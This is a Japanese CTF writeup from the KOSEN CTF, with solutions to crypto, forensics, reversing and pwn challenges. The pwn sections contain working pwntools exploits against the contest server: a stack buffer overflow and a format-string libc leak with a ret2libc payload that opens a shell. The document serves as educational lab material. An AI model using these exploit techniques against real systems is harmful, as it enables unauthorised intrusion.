どうやら高専CTFのときの優勝チームがCTFを開催するらしいと聞いて参加してみました。高専チームとしてでるとなんか色々よさそうでしたが、今回はGrowthKeysとして、naoppyさんとaileさんと最後にちょっとだけKaitoさんと参加しました。
以下自分が解いた問題+αのwriteupです。
[Cheat:100] lights out
Turn all the lights on.
WindowsのバイナリだったのでとりあえずIDAさんに食わせるもエラーを吐かれます。読んでみると.netのプログラムだということがわかるのでdnsPyに食わせます。
とりあえず色々関数を見てみると.cctorに怪しいプログラムが見つかりました。
よくわからないけどフラグ作ってそうだなーって思ってこの部分だけPythonで書いて実行してみるとフラグがでました。
KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}
[Crypto:100] strengthended
If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.
RSA問です。問題文を見るとLowPublicExponentAttackをする問題だけどちょっと工夫がいるような感じだなーと思います。
# encrypt.py
from Crypto.PublicKey import RSA
from flag import flag
assert(flag.startswith("KOSENCTF"))
m = int(flag.encode("hex"), 16)
key = RSA.generate(2048, e=3)
while pow(m, key.e) < key.n:
m = m << 1
c = pow(m, key.e, key.n)
print("c={}".format(c))
print("e={}".format(key.e))
print("n={}".format(key.n
encrypted
c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053
e=3
n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711
encrypt.pyでフラグを暗号化して結果がencryptedなんだなーと分かります。eの値が小さいのでやはりLowPublicExponentAttackだなーと思いますが、encrypt.pyでpow(m, key.e) < key.n のときmの値をどんどん2倍していっていたため、ただやるだけではだめだと分かります。
encrypt.pyで最終的に求められるmは適当な自然数xを使えば n*x+c と表すことができ、これを考えると解けます。
# exploit.py
import gmpy2
import codecs
c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053
e=3
n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711
for i in range(pow(2, e)):
if (i*n+c)%(pow(2, e)) == 0:
me = i*n+c
m,a = gmpy2.iroot(me,e)
while m != 0:
M = hex(m)[2:].encode('utf-8')
try:
M = codecs.decode(M, 'hex').decode('utf-8')
break
except:
pass
m = m >> 1
print(M)
KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}
[Firensics:50] attack log
Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end.
pcapngファイルが渡されるので解析していきます。
とりあえずstrings
$strings attack_log.pcapng | grep KOSEN
The flag is KOSENCTF{<the password for the basic auth>}
パスワードがわかればいいです。
wiresharkで除いてhttpに絞ってみると、大量のGETと401がUnauthorizedが見つかります。
ここでInfomationで整理してみると、大量のUnauthorizedの中に唯一200 OKが返っている18777番のパケットが見つかります。この直前にGETしている18775番のパケットをみてみるとパスワードがみつかるので、それがフラグになります。
KOSENCTF{bRut3F0rc3W0rk3D}
[Forensics:200] conversation
We seized a smartphone which one of the suspects had used. Find out the conversation they had.
自分はとても苦戦しましたが通してる人がたくさんいたのでとても焦りました。
最初、e2fsckでイメージファイルを修復してマウントして…とやっていたのですがフォルダが多すぎて大変で、結局その方法ではフラグを見つけることができませんでした。
いい方法ないかなーって思ってとりあえずforemostしてみたところ、画像ファイルがいくつか出てきたのでとりあえず全部見てみました。すると、怪しいjpgファイルが見つかりそこにフラグが書いてありました。
KOSENCTF{7h3_4r7_0f_4ndr01d_f0r3n51c5}
[pwn:100] double check
nc pwn.kosenctf.com 9100
// auth.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
char auth = 1;
char password[32];
void handler(int sig)
{
if (sig == SIGALRM) {
puts("\nTimeout.");
exit(1);
}
}
void init(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, handler);
alarm(5);
}
void sw(char flag)
{
auth = flag;
}
char readfile(char* path, char* buf)
{
FILE *fp;
if (auth == 1) {
fp = fopen(path, "r");
fread(buf, 1, 31, fp);
fclose(fp);
buf[31] = 0;
auth = 0;
} else {
return 1;
}
return 0;
}
int main(void)
{
FILE *fp;
char input[32];
init();
if (readfile("password", password)) {
puts("The file is locked.");
return 1;
}
printf("Password: ");
scanf("%s", input);
if (strncmp(password, input, 31) == 0) {
sw(1);
} else {
sw(0);
}
if (strncmp(password, input, 31) == 0) {
if (readfile("flag", password)) {
puts("The file is locked.");
} else {
printf("%s\n", password);
}
} else {
puts("Invalid password.");
}
memset(password, '\x00', 32);
return 0;
}
offset:44の位置でバッファオーバーフローで任意アドレスに飛ばせます。パット見たところ、一番最後の if(strncmp(password, ...) { と if(readfile("flag", password)) { の間に飛ばせばいいことがわかりますが、ただやるだけだとauthフラグが0になてしまい、The file is locked. と表示されてしまうのに阻まれてしまいます。
まずauthフラグについては sw(1) を呼び出してあげればいいです
以下エクスプロイトコード
# exploit.py
from pwn import *
offset = 44
addr = 0x0804883f
sw = 0x08048700
r = remote("pwn.kosenctf.com", 9100)
payload = "A" * 44
payload += p32(sw)
payload += p32(addr)
payload += p32(0x1)
r.sendline(payload)
r.interactive()
KOSENCTF{s1mpl3-st4ck0v3rfl0w!}
[pwn:200] introduction
nc pwn.kosenctf.com 9200
// introduction.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void handler(int sig)
{
if (sig == SIGALRM) {
puts("\nNo need to answer my question. Bye.");
exit(1);
}
}
void init(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, handler);
alarm(5);
}
int main(void)
{
char buffer[128];
init();
puts("May I ask your name?");
printf("First Name: ");
scanf("%127s", buffer);
printf(buffer);
printf("\nFamily Name: ");
scanf("%127s", buffer);
printf(buffer);
puts("\nThanks.");
return 0;
}
これとlibc-2.27.soももらえました。
公開されてから割と早い段階で解けてとてもうれしかった問題でもあります。
面倒くさいので詳しくは明日書きます。コードどぺー
from pwn import *
offset = 7
baseOffset = 0x8ab
systemOffset = 0x3cd10
binshOffset = 0x17b8cf
libcstartmainOffset_241 = 0x18d90 + 241
r = remote("pwn.kosenctf.com", 9200)
sleep(0.3)
r.recv(0x100)
r.sendline("AAAA,%x,%43$x")
buflibc = r.recvline()
bufferAddr = int(buflibc[5:13], 16)
libcBase = int(buflibc[14:22], 16) - libcstartmainOffset_241
log.info("bufferAddr = " + hex(bufferAddr))
log.info("libcBase = " + hex(libcBase))
bufferOffset = 0x90
retAddr = bufferAddr + bufferOffset
r.sendline(fmtstr_payload(offset, {retAddr: systemOffset + libcBase, retAddr+8: binshOffset + libcBase}))
r.interactive()
これでシェルが奪えるのでcat flagすればオーケー
KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}
[Reversing:100] flag_generator
This program generates the flag for you!!
func r() {
int a = obj.s;
a *= 0x41c64e6d;
a += 0x3039;
a &= 0x7fffffff;
obj.s = a;
return obj.s;
}
local40h = 0;
obj.s = time(NULL);
obj.s = r();
local44h = obj.s;
if(local38h == local44h) local3ch = 1;
else local3ch = 0;
if(local3ch == 0) {
sleep(1);
} else {
rax = local40h;
}
いい感じの時間になるまでループし続け、なったらフラグを作るらしいです(多分)
f(n) = 0x25dc167e となるnを[obj.s] に打ち込めばいいことがわかります。
ソルバどぺー
from z3 import *
import re
"""
f(n) = 0x25dc167e
となるnを[obj.s] に打ち込めばいい
(n*0x41c64e6d+0x3039)&0x7fffffff == 0x25dc167e
"""
n = BitVec("n", 2048)
s = Solver()
s.add((n*0x41c64e6d+0x3039)&0x7fffffff == 0x25dc167e)
print(s.check())
m = s.model()
print(m)
flag = [
0x608f5935,
0x57506491,
0x27365557,
0x54e3dea1,
0x755a4ed5,
0x17f42eb7,
0x4a4f9059,
0x1a08e827,
0xd9d391f,
0x59e533aa
]
seed = 0x25dc167e
for i in flag:
flag = hex(i ^ seed)
flagg = re.split('(..)',flag)[1::2][1:][::-1]
for j in flagg:
print(chr(int(j,16)), end = "")
seed = (seed*0x41c64e6d+0x3039)&0x7fffffff
z3pyでごり押しました。
KOSENCTF{IS_THIS_REALLY_A_REVERSING?}
[Reversing:200] flag_checker (おまけ)
You should check your flag before your submission.
自分はこの問題を解くことができませんでしたが、ちょっとしたミスでうーん…となっていて最終的にアで悔しいのでwriteup書きます。
受け取った文字列を 0xdec0c0de を鍵としていい感じに変更して、最終的に元々用意されていたものになればそれがフラグということがわかります。
また鍵も 0xdec0c0de -> 0xdec0c0dede -> 0xdec0c0dedec0 のように数値が変わっていきます。
ソルバどぺー
#include <stdio.h>
unsigned int rotate8(unsigned int a) {
return (a >> 24) | (a << 8);
}
int main() {
unsigned int syms[9] = {0xc2d7c99f, 0x5944460a, 0xc1cec584, 0x4e5f4f3f,
0xddded4be, 0x4c4a4b39, 0xd1d1cfa6, 0x4e4a5529, 0xddc3c3a3};
unsigned int decocode = 0xdec0c0de;
unsigned int cnt = 0;
char flag[256];
for(int i=8; i>=0; i--) {
for(int j=0; j<4; j++) {
(flag+i*4)[j] = ((syms[i]^decocode^cnt) >> 8 * j) & 0xff;
}
cnt ^= ((syms[i]^decocode^cnt)^decocode);
decocode = rotate8(decocode);
}
printf("%s\n", flag);
return 0;
}
KOSENCTF{TOO_EASY_TO_DECODE_THIS}
感想
今回GrowthKeysは16位でした。とても疲れて、二日目は17時間睡眠をキメてしまい起きた時は焦りました…w
もう少し上を狙えたかなと考えるととても悔しいですが、結果は結果なので精進していきたいと思います。
本当にお疲れさまでした。